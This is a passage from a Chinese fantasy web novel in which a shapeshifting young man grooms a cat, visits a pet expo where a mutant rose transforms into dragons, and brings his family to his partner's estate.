校霸自己倒是不介意戴着牵引绳。 六月底，上午九点的温度已经攀升到了三十三度。 沙伍给自己和校霸套了个泡泡，多少阻隔一些烈日的灼烧。 泡泡用了点幻术的技巧，普通人看不到，走在人群中也不会突兀。 为了带校霸出门，沙伍认真做了攻略。 青龙城什么时候来，人都很多。 相对的，哪怕是很小众的群体，也有足够多的服务可以享受。 不知道是因为市中心的缘故，还是因为异能战士协会的地址，提供异能宠物服务的店铺大都在青龙区。 沙伍先带校霸去做了个美容。 店铺的门脸不大，推门进去没有客人。 接待的老板确认了身份后解释：“服务对象毕竟是异能宠物，要是有什么不对付的，可能会发生冲突。所以我们这里都是预约的时间段，当前时间段里只接待一位顾客。” 宠物美容店麻雀虽小五脏俱全，非常专业地给校霸做旧猫翻新。 平时家里对校霸也是精心照顾，但校霸天天跟着祁大厨上山下海，自己上树打猎，多少有点野。 沙伍看着白白的猫洗出灰灰的脏水，再看着美容师就差一根根毛一寸寸皮肤护理过去，爪子缝都洗得干干净净。 两名美容师不断对沙伍恭维。 “你家猫养得真好。” “一看就运动量足够，浑身的肌肉这叫一个漂亮。” “平时都吃什么？” “它也太乖了吧？” “好听话啊。” 沙伍付出五位数的金钱，得到了三个小时的心理按摩，外加一只闪闪发光的新猫。 翻新过后的校霸不愿意再待在宠物推车里了，沙伍只能给他牵了绳子，放在肩膀上：“牵绳子不难受啊。” 校霸：“不。” 沙伍打开光屏给他看：“下一站我们去吃东西，这里有个可以用小型觉醒体和异能宠物一起玩耍的餐厅。我们可以试试，要是不喜欢的话，我也带了祁叔做的饭。” 校霸：“好~” 沙伍仰头看着校霸威风凛凛的模样，声音却像是还没到发育期的小孩儿，听不出男女，又娇又软：“校霸，你不会是朱雀吧？” 九级，小朋友，失踪，似乎是都对上了；但怎么看都牵强。 如果是很早就失踪的朱雀，怎么会和妈妈、纳瓦尔都认识？ 校霸现在还只会说简单的单字，偏头在沙伍头顶舔了一下毛，嫌弃地甩开长头发：“喵？”朱雀？ 沙伍也觉得不太可能：“朱雀是女孩子，我们家校霸是男孩子。不过你现在的样子是只假猫，可能连性别都是假的。”万一呢？ 校霸觉得他的话有些无聊。 宠物推车也是一款小飞车，只是大部分的空间都让给了宠物乘坐和放置宠物物品，人的座位在后面，灵感来源倒骑驴。 普通小飞车城市内限速60，宠物推车限速20。 沙伍只开十几，路过的人群对漂亮的狮子猫纷纷侧目。 “卧槽！刚才那只猫好帅！” “一看就很能打。” “好想摸摸。” 校霸常年混迹校园，对人们的围观和赞美都习以为常，摆出一副高冷的样子。 可惜夏天的狮子猫没有大围脖，整只猫看起来没有冬天爆毛后那么威风凛凛。 沙伍带着校霸玩了一天，晚饭都是沙妈妈打了三个通讯才回。 到家的时候，沙妈妈都暴躁了：“多大的人了。到点了不知道回家吃饭，还得三请四请！上班的都回来了，就等你了！赶紧去洗手吃饭！”然后换了个夹子音跟校霸说话，“校霸~来，妈妈抱抱。” 校霸比沙妈妈更夹，身体往她身上靠：“喵~” 沙妈妈只感觉手臂往下沉：“看不出，校霸这么壮实啊？” 校霸乖巧可爱.JPG 姜纶听到声音，从楼上下来，伸手就抱了抱沙伍：“回来啦。” “嗯。”沙伍回抱了他一下，看他已经换下了正装，显然已经洗过了澡。 今天沙贰夫妻也在。 沙伍看到他们就感慨：“感觉好久没跟二姐、二姐夫一起吃饭了。” 他回家的时间本来就不多，沙贰夫妻俩在商场工作，上下班时间包括放假时间都和普通工作不一样。 沙贰笑道：“这不是省得你再给我们送饭嘛。” 曾绍棋说道：“我们现在工作时间正常多了。周末、节假日还得上班，平时工作日可以调休，工作时间也算是朝九晚五。” 毕竟做到了管理岗，各方面肯定比在一线对客的时候好一些。 等吃完饭，一家人转移阵地到客厅。 夫妻俩宣布一个好消息：“我们有宝宝了！” “哇！”沙伍第一个惊叹出声。 姜纶说道：“恭喜。” 沙妈妈关注的事情比较多：“预产期是什么时候？你们单位对孕妇是怎么安排的？现在的工作岗位适合孕妇工作吗？” 曾绍棋一一回答，显然做了很多功课。 校霸跳到沙发上，慢慢走进沙贰。 沙贰不知道他要做什么，抬手摸摸漂亮猫猫：“校霸怎么啦？” 校霸低头看看她的肚子，再抬头看看她：“喵？” 沙贰微笑：“对，里面有小宝宝了。” 沙贰的性格本来就温和，怀孕让她整个人都充满了母姓的光辉。 校霸挨着沙贰躺下，把脑袋轻轻靠在她的身侧。 沙贰感觉心都化了，伸手轻柔地摸摸他的脑袋：“宝宝真乖。” 晚上，姜纶一边一只猫。 他把校霸放下床：“回你自己的房间去睡。” 沙伍不常在这儿住，二楼空间除了一个小客厅一个卧室外加一个小书房之外，还有两个空置的房间。 其中一间在设计上是儿童房，已经被沙伍布置成了校霸的房间。 校霸转身就跳了上来，一脸无辜地看着姜纶：“喵？” 姜纶试图跟他讲道理：“你应该回自己的房间睡觉。这是我和小鲨鱼的房间。” 校霸端端正正坐在床上，仰头看着姜纶：“喵、鱼。” 为了强调，他伸出爪子踩了踩鲨猫的尾巴。 这是他和他的鱼的房间。 鲨猫仰头打了个滚：“别闹了，睡吧。明天还要出去玩呢。”今天美容花了太长时间，他都没来得及去逛宠物展。 姜纶叹气，重新躺回床上：“真想跟你一起去。”可惜他的时间几乎被工作和特训占满。 夜鹭和乌鸦都不是人。 白天有乌鸦，晚上有夜鹭，没一点空闲时间。 他感觉整个人都憔悴了，站小鲨鱼身边跟两辈人似的。 他明明才比小鲨鱼大两岁，他们甚至是同班同学。 说好的校园恋情呢？ 鲨猫拱到他怀里：“我明天全程给你直播。” “宠物展人多，小心安全。” 鲨猫已经有了困意：“我带小粉去，该担心安全的是别人。” 反正带一只异能宠物也是带，带两只也是带。 宠物展设有专门的变异宠物交流会。 姜纶抱着暖烘烘的鲨猫：“人家邀请的是校霸和薛春。” 校霸是网红猫，哪怕现在名字挂在祁大厨名下，依旧保持着一定频率的更新，让校霸全网一百多万的粉丝知道它的近况。 至于薛春就更别说了。 作为培养变异植物作为主要攻击手段的木系异能战士，八级的小粉很值得拿来做一番经验交流。 沙伍夹在两者中间，就是个添头。 早上祁大厨和薛春过来接了人，到宠物展。 “我也是混上免门票了。” 薛春把手伸到鲨猫面前，看鲨猫飞快把爪子搭在自己手心：“你就这样进去？” “不可以吗？”和校霸、小粉一起挤在一辆宠物推车里的鲨猫觉得没什么问题，“不是会有很多带觉醒体小朋友的家长吗？” “你觉得你是哪款小朋友？”祁大厨感觉自己怎么一茬接着一茬带娃？ 鲨猫算了算自己的年纪：“3岁零好多个月的小朋友。” 两个人拗不过鲨猫，只能带着宠物推车从飞车上下来。 早已等候在停车场的工作人员急忙过来迎接，核查信息的时候发现一只新猫：“咦？这只是传说中的校霸的崽吗？长得跟他爸爸真像。比他爸爸胖一点。” 祁大厨礼貌地笑笑：“虚胖。”全是假的，根本喂不胖。 工作人员看向旁边粉红色长相有些卡通的猫，下意识咽了咽口水，脚步也往后退了一步：“这就是八级的变异月季小粉？” 小粉看了看陌生人：“是的。” 说、说话了！ 工作人员脸都白了。 薛春把宠物推车的盖子拉上，问他：“你还好吧？” “抱歉，我失态了。第一次见到八级变异植物，我……”他按住自己怦怦狂跳的心脏，感觉整个人都要昏过去。 他都不知道自己怎么完成的引导工作。 薛春他们倒是已经到了宠物展内。 整个宠物展非常大，分了八个展区。 每个展区都有交流展示的舞台。 “姜纶昨天还说要跟来。” 薛春立刻说道：“他来了，宠物展就要开天窗了。” 祁大厨倒是觉得未必：“小少爷最近的气息收敛好多了。好歹跟着夜老师和风先生训练了这么长时间，肯定还是有长进的。” 薛春不以为然：“小少爷那不是气息不气息的问题，他就是天生的凶。别说是小动物了，就是我，第一次见到小少爷的时候都想跑。” “不至于吧？”鲨猫眼里的姜纶也就黏人了点，黏人也不是什么缺点，别的地方哪儿哪儿都好。 “他对你是不凶。”他第一次见到小少爷跟沙伍撒娇，把自己在花盆里种了好几个小时，直到夜宵才缓过来。 祁大厨和薛春意见一致：“小少爷是凶兽，和夫人完全不一样。” “像老爷吧？” “老爷看着不凶。” “肯定是装的。” 鲨猫看两人你一言我一语的，突然全都看向他：“看我干嘛？” 祁大厨别开脸：“不是一家人不进一家门。” “嗯。都爱装。” “喵！”切！ 他们周围有祁大厨设置的屏障，旁边的人根本听不到他们在说什么。 宠物展上，人类全是透明人，所有人的注意力都在宠物身上。 猫是很寻常的宠物。 有人看到小粉，对薛春小声规劝：“你不要个猫染色，对猫不好。” 薛春只能一遍遍地解释：“不是染色，它天生长这个颜色。” 小粉全身上下只有颜色保真。 “真的？” 生活中还是没有异能的普通人居多，他们现在逛的展区也是普通宠物展区。 等舞台上开始宠物才艺展示环节，他们周围的人才少了一点。 祁大厨和薛春也过去凑热闹。 人站在宠物推车上，鲨猫和校霸一猫一边，站在祁大厨的肩膀上。 小粉表示自己可以长高，给爸爸搞个空中座位，被爸爸拒绝：“好吧。” 于是它也学着校霸他们一样，坐在薛春的肩膀上。 舞台上的训犬师在展示训犬知识，这些对三只假猫都没什么吸引力。 他们没一会儿就跳回宠物推车，转到宠物玩具的摊位。 转了一圈出来，三只猫一点反应都没有。 祁大厨问：“没有喜欢的吗？” 小粉说话最利索：“没有，有怪味。” 玩具中添加的对普通猫有吸引力的成分，三只假猫无动于衷。 普通宠物区对他们确实没什么好逛的，很快就去了变异宠物区。 一进入这个展区，明显感觉空旷了很多。 会场内的人不少，但比普通区的人山人海要少很多。 在这个会场里，小粉一只“颜色变异的猫”就显得很普通。 鲨猫和校霸两只“普通猫”就更不用说了。 这边的舞台布置比其它展区的明显要豪华很多，有点像瑞云实验室里装金龙的透明罐子，是个防护罩。 里面的宠物展示的才艺，也从坐下、趴下、装死，变成了升温、吐冰、刮风、下雨。 鲨猫第一次接触真正的变异宠物，不太理解：“变异生物当宠物，是要成为天气预报吗？” 在这边的会场，他们没用屏障把自己和周围隔开。 周围的人听到鲨猫的话，纷纷看过来。 祁大厨对他们露出一个尴尬的笑：“孩子乱说的。” 周围的人倒是没表示恶感，反倒很理解：“小孩子嘛，都充满想象力。” 鲨猫改了个说法：“在家就能体验大自然？”在自己家里就能体验四季变换风霜雨雪？ 祁大厨把鲨猫放回宠物推车：“没你把家拆成大自然那么自然。” “切~”鲨猫两只前爪搭在前面的围挡上，猫猫祟祟地看着天气之子们的表演。 旁边的人显然对祁大厨很感兴趣：“这是你家孩子吗？你这么年轻，这么早就有孩子了？” 异能战士的身体素质高，外貌衰老的速度比普通人要缓慢。 尤其是高阶异能战士，祁大厨才三十多岁，要不是气质很沉稳，都不会有人猜他满三十。 “对。两个。”养子也是子。 来人显然是误会了，看向两只几乎一模一样的猫：“英年早婚啊。” 这下哪怕迟钝如祁大厨也听出不对来，很快就带着两个猫儿子退出观看队伍。 鲨猫一脸八卦：“桃花~叔，上啊！我可以解释的！” 祁大厨抬手就拍了一下猫猫头：“闭嘴！给你们买玩具去！” 薛春就显得比较正经：“祁叔真的不考虑找个伴吗？生命那么长，不找个对象有点无聊。” 毕竟今时不同往日。 以前他们的生命可以说是朝不保夕，随时都有可能会因为姜纶的污染而丧生。 现在基本已经不存在这种危险了，他们的生活一下没了那种紧迫感，工作虽然依旧很忙碌，但认真说起来也没什么特别要紧的事情是必须他们来做的。 这样的生活，多少有些平淡了。 这样平淡的生活，如果有个人能够一起分享烦恼和喜悦，那就会成为很美好的未来。 祁大厨听他这么说，还真的认真考虑了一下：“随缘吧。你现在让我想，我也想不到未来伴侣该是什么样。小伍！你拿裙子干嘛？” 变异宠物区的商品质量明显比普通区的要好得多，当然价格也非常昂贵，随便一件的差距可能就是几十、上百倍。 鲨猫乖巧：“给校……”他感觉到校霸传来的压力，转向小粉，“小粉穿。” 小粉现在虽然懂了很多事情，但作为雌雄同体的植物，它非常欠缺对于性别的认知。 “穿。”义父说能穿就是能穿。亲爸，买！ 祁大厨看着薛春在一个宠物服装店里就花了一个月的工资，再看看小粉。 这怎么不叫宠物反噬呢？ 第98章 宠物交流会 作为宠物展受邀请方，校霸和小粉都需要去参加一下宠物交流展示。 校霸比较特殊，虽然恢复了异能，但大家还是把他当做一只普通猫咪，一只流浪后被收编的猫咪。 他的粉丝群体大多是普通人。 一同展示的还有几只网红猫。 祁大厨作为现在校霸的领养人，以及大部分视频的拍摄者，和账号运营的校园喵盟的成员一起上台展示，说了一些关于流浪动物和如今校霸的生活情况。 官方有直播。 弹幕上都是夸夸夸，全都是在夸现在校霸的状态好，偶尔有几句夸校霸领养人帅。 鲨猫和小粉一起站在薛春的肩膀上：“我就说带校霸翻新很有必要，你看现在的校霸多好看。” “嗯。”薛春表示赞同，“你能不能把爪子从我头顶拿下来？” “我站高一点。”鲨猫嘟囔了一句，还是把爪子放了下来，“你的肩膀没有祁叔宽厚。成年男性的伟岸知道吗？” “还成年男性的伟岸？马上要20岁的沙先生还是只毛绒小崽子呢。”薛春可不给鲨猫面子。 “咪。”鲨猫想到20岁的生日宴就有些纠结。 去年生日的时候就是全家简单吃了一顿，收了一堆礼物，很简单很惬意。 今年20岁生日就不行了，要专门给他办宴会。 前期光是量体裁衣都花了不少时间。 想到要和一些陌生人打交道就有些难受。 能够被邀请来参加的客人们肯定很好相处，但里面有几分真心很难说。 他不太想跟那样的人虚与委蛇，哪怕其中可能会交到一些朋友，认识一些对他有帮助的人。 唉，这就是马上就要20岁的成年男人的伟岸…… 伴随着校霸的交流环节结束，马上就是一个领养活动。 祁大厨把校霸放进宠物推车：“走了，差不多时间到交流论坛了。” 沙伍扒在推车围栏上，问祁大厨：“叔，现在校霸的账号还是喵盟在管吗？” “嗯。账号是他们运作起来的，我平时就拍一些素材，剪辑也是他们负责。他们做宠物救助的资金比较紧张，能够有收益的账号没几个。”他不差这点钱，视频什么的……谁家有可爱的小动物不多拍点呢？ 他对着校霸的睡姿都能拍几十张。 祁大厨说着说着，就打开手环给他们展示校霸的各种照片和视频。 薛春的手指划过三行照片：“这些不都一样吗？” “不一样。这张吐舌头了。这张脑袋偏一点。这张爪子开花了。” 沙伍倒是很理解。 姜纶没事干也天天这么盯着他拍。 他虽然也会拍一些姜纶的照片，但不会同一个角度连续拍好多张。 他打开自己的手环，点开相册。 薛春注意到，问：“你这拍的什么金灿灿的？都是小少爷的鳞片？” “嗯！” “哇，第一次这么近看到鳞片。上面竟然有纹路。你拍这个是研究吗？”毕竟研究龙，沙伍有着得天独厚的便利。 “不是。” “那是为了什么？” “好看！”沙伍给他们科普，“这片是肩胛骨上的鳞片，这片是后爪上的，这片是腹部的……” 两个人听着讲解也看不出任何区别。 沙伍和祁大厨都发挥完，纷纷看向薛春。 薛春下意识捂住自己的手环：“我没什么可以看的。谁会没事拍那么多一样的照片？” 一分钟后，一溜的花花草草。 “我这个都不一样的。这是我培育的变异荷花，现在等级不太稳定，但是有提升的潜力。双色的眼睛有点红血丝，不知道是不是生病了。” 这个沙伍知道：“双色会分几个眼睛和嘴巴进影院看片。” 作为一株就能够成墙的月季花，双色有数不清的长满眼睛和嘴巴的花朵。 薛春还真不知道这事：“它看片子就算了，为什么还要带嘴巴进去？” “吃东西啊。小双现在沉迷爆米花。玉米、大米、小米，还有藜麦、高粱和荞麦。”鲨猫如数家珍，显然他也分了不少。 祁大厨深呼吸：“我的博士论文完不成，一定是你这个实验体不配合。” 鲨猫咪咪叫了两声，心想就他一个实验体，压根没对比，写个什么论文呢。 薛春震惊：“小双现在都会用嘴巴吃东西了？小粉现在还不会呢。” 不是卡不卡牙齿会不会撕咬下咽的问题，而是作为月季花，花朵并不是进食部位。 形态还没有产生变异的双色，本质上还保留着大部分植物的特征，和逐步正在脱离植物形态的小粉不一样。 鲨猫不明白：“小双不是有嘴巴？为什么不能吃？” “它的嘴巴是攻击手段，不是我们人类的嘴巴。” “人类的嘴巴也可以是攻击手段。”鲨猫说着，象征性在小粉身上咬了一下。 然后小粉也咬了他一口——来自小粉的啃腚。 薛春还在想不明白，难不成他马上就要有第二株八级变异植物了？ 只是这种升级路径到底是什么？ 他还没想明白，主办方工作人员就来通知他准备上台交流。 他抱着小粉去后台做准备。 和校霸参与的以社交为主要目的的宠物交流不一样，变异生物交流中有很多木系异能者，带来了很多变异植物。 考虑到安全性，大部分人带来的都是净化植物。 不是说净化植物没有攻击性，而是相对而言，净化植物的攻击力较低，对这些普遍在六级及以上的木系异能者没什么威胁。 沙伍看着防护罩里升起来的舞台，一位位异能者带着自己的代表性“宠物”入场，突然好奇地问祁大厨：“叔，你不也是木系异能？怎么不培育几个变异植物？” 祁大厨想都没想：“我的木系异能很弱，主要是战斗净化。你让我做自然净化也行，但是木系异能对我来说比较鸡肋，基本就是在野外的时候方便探查排除一些木系的危险源，还有做菜的时候能用到一点。培育变异植物太耗费精力了。我的木系异能大概也只够控制中阶的变异植物，对现在的我没什么用处，反而还分散精力。” “可是冥想课不是让我们把所有星星的能量都激活吗？你这样只用一大半星星，放弃一小半星星，是不是会不平衡？”鲨猫想到一个比喻，“单腿跳？” 祁大厨本来以为和沙伍聊天，就是很平常的对话。 家里任何一个人的异能等级都比沙伍高，任何人都能给沙伍解答问题。 但是现在，他有些被沙伍问懵了。 明明是最基础的修炼原理，他这些年为了提升自己的异能强度，几乎完全放弃了木系异能。 虽然他的木系异能占比肯定没有一条腿那么多，但哪怕是缺损了一根手指，对身体肯定是有非常严重影响的。 想明白后，他恨不得马上就进行冥想修炼，无奈场合不允许。 他回过神，低头看着鲨猫和校霸都对他看着，伸手摸了摸他们的脑袋：“谢谢，我想明白了一些事情。” 最近他的修炼进度越来越慢，偏偏距离摸到八级的天花板还很远，原来问题出在这儿。 “哇——” 会场里响起人群的惊呼。 舞台上，小粉做了一番形态转化的表演。 普通成年猫大小的小粉，突然变成了铺天盖地的粉色月季花瀑布，除了防护罩的正面，几乎爬满整个空间。 同台展示的其它变异植物肉眼可见地萎靡下来。 花瀑布在十几秒后消失，变成一条有着粉色鬃毛绿色鳞片的龙。 小粉平时已经很少做粉龙的形态转化了。 大概是对金龙和白龙观察得比较多，它这次展现出来的形态非常逼真。 在这样一座以青龙命名的城市，它这样的形态展示带来的轰动无疑是巨大的。 青龙今年刚刚重新降临过，但没人能近距离接触。 在众人刚想起来呼吸的时候，粉龙进一步变化，变成了白龙。 小粉展现出的气质和沙伍完全不一样，有些凶，更接近姜纶。 薛春看着这样的小粉，感觉不是自己的亲儿子，是他偷抱的姜纶和沙伍的崽。 他内心叹气，对小粉还是充满骄傲的，对小粉伸手：“来。” 巨大的白龙朝着他飞过去，重新变成粉猫跳到他怀里，学着校霸蹭蹭下巴：“喵~爸爸。” 小粉的破锣嗓子已经好了很多，现在说话的声音像是个嗓音沙哑的小男生。 可能是经常和校霸混在一起，喵起来最熟练。 薛春像个普通家长一样，让自家孩子展示才艺，对台上台下众人惨白的脸色视若无睹，一直过了十分钟，他才开始讲怎么培育高阶变异植物。 会场内几乎所有人都摄于八级变异植物的压迫力瑟瑟发抖，但都听得非常认真。 实际上能够稳定培育出高阶变异植物的人屈指可数，有多少人能够像薛春这样轻易拿出来交流经验的？ 他们平时想要求教都找不到人。 变异植物反噬相对变异动物要少，也只是相对而言。 事实上一些因为偶然因素突破级别的变异植物，对缺乏控制力的主人反噬的案例并不少。 沙伍平时也会跟着薛春学点园艺知识，姜纶更是一位专业的农学研究者。 现在薛春讲的内容，他发现自己都听过，只是比起平时东一句西一句的碎片化信息，交流会上的这些内容更加成体系。 “今天时间有限，只能讲这么多。相关资料我会放在我的公共账号上，感兴趣的可以去下载。欢迎对培育变异植物的爱好者一起交流讨论。”光屏上显示了薛春的公共账号。 会场内几乎所有人都进行了添加。 他们离开会场的时候，天都已经快黑了。 “这么晚了？怪不得觉得有点饿。” 薛春抱歉：“都怪我，忘了时间。” 没想到今天提问的人这么多。 有些角度是他没想到的，带给他很多灵感，忍不住就多聊了一会儿。 他们把沙伍送回家，接下来他们会去后土城，参与筹备沙伍20岁的生日宴。 沙伍还会在青龙城多待几天，等着姜纶一起回去。 虽然他感觉以姜纶的速度，完全可以住在后土城，上班在青龙城。 嗯，姜纶最近喜欢上了小卧室。 他晚上跟姜纶双修，总会捕捉到一些他的杂念。 有时候是一些对于工作的吐槽，最近是一些关于小卧室的非常非常多的构想。 当然还有一些乱七八糟的黄色小废料。 飞车到达家里的露台，姜纶正在和沙妈妈一起收拾小菜园。 沙妈妈才刚抬头，就见沙伍不等飞车降落，就打开车门跳了下来，心都悬了一下：“小伍！” 稳稳落到姜纶怀里的沙伍不明所以：“怎么了？” 沙妈妈抬手就想拍，顾及着姜纶在，只能口头教训：“多危险啊。你也不怕摔下去。”那么高的楼层，他一条鱼不得摔成鱼饼？ “我会飞哒~”沙伍甩了甩自己柔软的胳膊，“哎哟！” 沙妈妈没忍住打了他一下：“你飞什么飞？快去吃饭，又是全家等你一个。” “啊？你们都还没吃？”沙伍瞬间愧疚了。 姜纶跟他咬耳朵：“他们吃了炸鸡。三哥带回来的。我没吃，我等你回来一起吃。”真想抱着小鲨鱼投喂啊。 沙伍捕捉到他的念头，眼神微妙：“你脑子里的念头收一收。” “好的。”念头可以收，将来肯定会做。 沙伍嘀咕：“你就仗着在家里，我不会咬你。” “我又不怕你咬我。”欢迎之至。 “你这个……”沙伍都语塞了，过了好一会儿才憋出来一句，“身体还是太好了。” 夜鹭和大乌鸦两班倒的训练，都不能让金龙倒头就睡。 沙伍的精神控制力很强，姜纶捕捉他的念头比较困难。 这会儿大概是沙伍比较放松，想法比较强烈，姜纶GET到他一点模糊的想法：“夜老师和小堂叔去朱雀城了。等你生日的时候再回龙丘。” 沙伍换了衣服下楼，一家人已经整齐坐在餐桌边，听姜纶说起龙丘，都有些紧张：“生日宴会不会很隆重，很讲究？” 他们都是普通人，别说是龙丘的宴会，就是沙肆上次参加的公司举办的晚宴，他们看一眼都感觉很不自在。 梁管家已经提早了几个月给他们安排制作礼服，做一些流程上的讲解。 先前参与的时候只觉得长见识，等日期临近，漂亮的各色礼服和常服陆续到手，他们感觉越来越拘束起来，生怕一个不注意就给沙伍丢脸。 姜纶给了他们肯定的答复：“会。毕竟是小鲨鱼20岁生日，各方面肯定都会考虑。不过你们不用担心一些乱七八糟的。你们是小鲨鱼的家人，在龙丘就是半个主人，别人只是客人。客随主便。主人做什么事情，轮不到客人指指点点。” 沙伍倒是有经验：“没事的。我们大概露个面就行了。不用强迫自己听一些没必要的乱七八糟的话。” 他们这么一说，沙妈妈他们总算是松了半口气。 隔天，沙伍就带着沙妈妈他们一起飞去后土城，出机场后，飞车等候在附近的列车站。 沙伍一路坐得身体僵硬，车内空间又有限，干脆变成猫，伸懒腰，在座椅靠背上挂猫条：“我就说让他们到青龙城，一起坐飞机到后土城，速度比他们坐城际列车快。他们还不信。” “他们从泉城到青龙城都要一两个小时了。”沙叁看鲨猫长长一条挂着，只是觉得小弟这样挺好玩的，抬起手指扒拉他的猫爪。 圆圆的猫爪捏上去软软的，手感非常好。 打人邦邦响。 沙叁捂着自己被打红的手：“不让摸就不让摸，怎么还打人呢？” 鲨猫抬起爪子还想给他邦邦来两拳：“你没事拉着我的手又摸又捏的干什么？” 沙叁把猫脸替换成沙伍的脸，顿时觉得自己像个变态：“没干什么。说起来，你们这种……嗯，完全转化的，不会被误认为变异动物吗？” “会啊。”鲨猫小声补充说明，“好像就我会。” 沙叁只是随口一说，听他这么说，顿时瞪大眼睛：“啊？那那那你这样不会误伤别的同学？会不会很危险？”对别的同学会很危险。 他原先以为沙伍哪怕有了异能，也只是个小趴菜，毕竟沙伍那长相就弱唧唧的，对付普通人还行，对付一群从小吃饱吃好专业训练十几年的同学们，肯定是全班垫底。 但上次去新城度假，看到了四米多长的大白鲨后，他感觉那些弱唧唧的大学生，大白鲨不是一口一个？ 鲨猫耳朵后撇，眼神游移：“也、也还好吧。” 沙叁：“……” 沙妈妈倒是很豁达：“不能出人命，重伤残疾也不行。就跟你中学时候，天天跟人打架，那种皮外伤可以。” 她以前没少给沙伍跑学校处理类似问题，早就已经很熟练了。 那时候沙伍下手有分寸，没造成过什么不可逆的伤害。 再说沙伍又不是什么神经病，不会因为单纯看人不顺眼就揍人。 有这时间，他打工还来不及。 沙伍动手都是别人先招惹他。 沙伍有理，孤儿根本就没钱赔偿，沙妈妈又摆出一副只是孤儿院工作人员的样子，学校根本拿他们没办法。 加上沙伍的学习成绩不错，学校还指望着他给学校的升学率增添一点光彩，最后都是不了了之。 不过坏处也不是完全没有。 沙妈妈想到沙伍过去的战绩，再对比现在的生活，觉得也算是熬出头了：“尽量避免主动伤人。你中学的时候，吃的亏可别忘了。” 鲨猫从座椅背上滑下来：“什么亏？”他印象中自己没吃过亏。 “你中学六年时间，一次奖学金没拿过，忘记了？”提起这个，沙妈妈还心头有气，“不然以你的脑子，专心读书拿到的奖学金肯定比你出去打工省心得多，读书成绩还要更好。” 沙伍已经算是会赚钱的了，但毕竟只是一个未成年，也没有天才到能够掌握一夜暴富的技能，整个中学都过得完全不像是在读书。 沙伍自己倒是不介意：“算了吧。我们班级那氛围，根本就没法专心念书。” 一群家庭条件都不差的学生们，平时卷的方向根本就不在学校，而在看不见的地方。 他也是被姜家养了两年，才逐步感受到的。 资源，并不仅仅指金钱。 资源是只要他想，就会有人把他想要的安排好，送到跟前。 他想学什么，就会有最好的老师来一对一，甚至是多对一指导。 那种针对个人量身定做的教学方式，但凡是个正常人，都能取得远比普通人强得多的成绩。 如果他今天想要做生意，想要的最资深的工作人员、科研团队，需要的办公场地，合作的上下游产业链，分分钟就能安排妥当。 他的起步就是许多人想都不敢想的终点。 对于姜家这样的遍地八级九级的家族来说，这些都已经是外物。 同样的，人际关系其实对他们来说不那么重要。 单纯姜家四口人，四个九级，吃饭都不算是必需品，两个还住山洞。 物质方面的诉求几乎没有。 沙伍觉得自己的作用，大概就是帮助姜家多花钱，促进社会消费。 鲨猫被沙妈妈抱到腿上摸下巴撸毛，聊了一会儿天等到了沙壹一家和沙肆。 沙壹上车一看：“姜纶没一起？” 沙伍让飞车返回龙丘，随口回答：“他还有工作要忙，明天晚上回来。” 姜纶自己飞回来，比坐飞机快多了。 什么时候他也能像姜纶这样？ 到时候他就带沙妈妈他们去战队小岛吃水果。 飞车到龙丘的时候，姜俣、姚瑞云和姚昭华都在。 他们直接等在门口，迎接沙妈妈他们。 “早就该上门拜访了。” “多亏了你们能教出小伍这么好的孩子。” “我们家小纶让你们多费心了。” 好话、客气话一句接着一句，沙妈妈他们很快就消除了隔阂，把停留在教材中历史人物变作了真人。 尤其是姚瑞云作为青龙本龙，面对一群青龙城的百姓，那种天然的联系简直了。 沙妈妈眼眶都红了：“哪里的话，是我们家小伍遇到了好人。多亏了小纶，小伍才被照顾得这么好。小纶很细心……” 沙妈妈是真心诚意夸奖姜纶的优点，一桩桩一件件，夸得姜俣和姚瑞云都疑惑了。 不是，他们家小儿子平时不是除了拆家就是在死宅学习吗？ 难道终于长大了，有了成年男人的担当了？ 想想姜纶确实是扛起了青龙城很大一部分工作…… “多亏了小伍，不然我们家小纶还是个长不大的孩子。” 第99章 蜕皮 姜俣和姚瑞云对姜纶的相处时间，其实非常有限。 姜纶出生又是个“问题宝宝”，他们花了大量的精力，才能勉强保证他的身体健康，精神健康方面是真的顾不上。 他们印象中的儿子，要不就是被庞大的力量折磨到痛苦异常，要不就是冷着一张脸埋头学习各种知识。 那个沙妈妈口中爱笑、暖心、体贴、细心的男孩子，真的是姜纶？ 两家人坐在客厅里，莫名其妙就针对姜纶聊了好一会儿。 沙伍原本感觉双方家长第一次见面，他多少有个人样，会比较正式一点。 听着听着，他的精神就开始放松，尤其是感觉到姜俣和姚瑞云身上传来的温暖包容的气息，没一会儿就变成小白龙，下意识想趴到妈妈旁边，看到伸过来的蛇尾巴，还是把自己挂到蛇尾巴上面。 姚昭华解释：“这是我爸的带娃方式。” 全是普通人、只有一个勉强一级沙妈妈的沙家人，觉得高阶异能者干出什么事情都合情合理，反应很平静。 沙伍平时在家也各种变来变去，大家都习惯了。 倒是桃桃，也迷迷糊糊爬到蛇尾巴上，挨着小白龙。 姚瑞云发现时间不早了：“瞧瞧孩子都困了。我让管家带你们先回房休息，等晚点我们再聊。” 小白龙眯了一会儿感觉精神了一点，背着桃桃在前面飞着带路，领着家里人先是回客房，安置妥当桃桃，接着给他们参观自己在这里的住处。 作为孕妇的沙贰不得不坐飞车跟着：“怎么跟参观旅游景点似的，那种大型宫殿？” 沙伍变回人形：“功能性方面应该和宫殿差不多吧？底下裙楼有宴会厅和部分办公的地方。不过龙丘主要还是居住的场所，这你的工作人员处理的是姜家的一些私人事务。”具体办公还是在市区的办公楼里。 沙家人已经被豪奢的环境给弄麻了。 沙伍大概能理解他们的心情：“你们就当是来度假，住在酒店呗。等会儿带你们去院子里玩啊。跟你们说哦，我有个好朋友黄喉貂，它很了不起。它丈夫死掉了，自己把三个孩子抚养长大，现在估计已经分窝了，不知道还能不能见到。” 沙壹问他：“你说的黄喉貂，是真的黄喉貂，还是觉醒体是黄喉貂的人？” “真的黄喉貂，野生的。” 沙壹微微皱眉：“在院子里，野生的？” 曾绍棋搜索了一下黄喉貂：“这种动物是能够生活在院子里的？” 沙伍指了指窗外：“院子。” 一家人看着外面的群山，重复：“院子？” 那不是原始森林吗？ 院子里很好玩。 沙家人在短暂休息后，就被沙伍带到了经常活动的河边。 除了沙妈妈之外，他们几乎从小到现在都没离开过城市环境。 野外对他们来说是非常危险的，但自然的风景着实美丽。 他们体会了钓鱼、烤鱼，在野外露营、烧烤。 虽说绝大部分的食物都是从家里带出来的，但这种完全不同于城市的体验才是最吸引人的。 沙伍又带他们去了一处漂亮的溪流边上玩耍。 今年格外忙碌的沙肆直接就一个人占据了一个吊床，伸了个懒腰躺下：“真好啊。要是我也能生活在这种地方就好了。” 森林里的完全感受不到夏日的炎热，充满了清新的气味，整个人都自然放松下来。 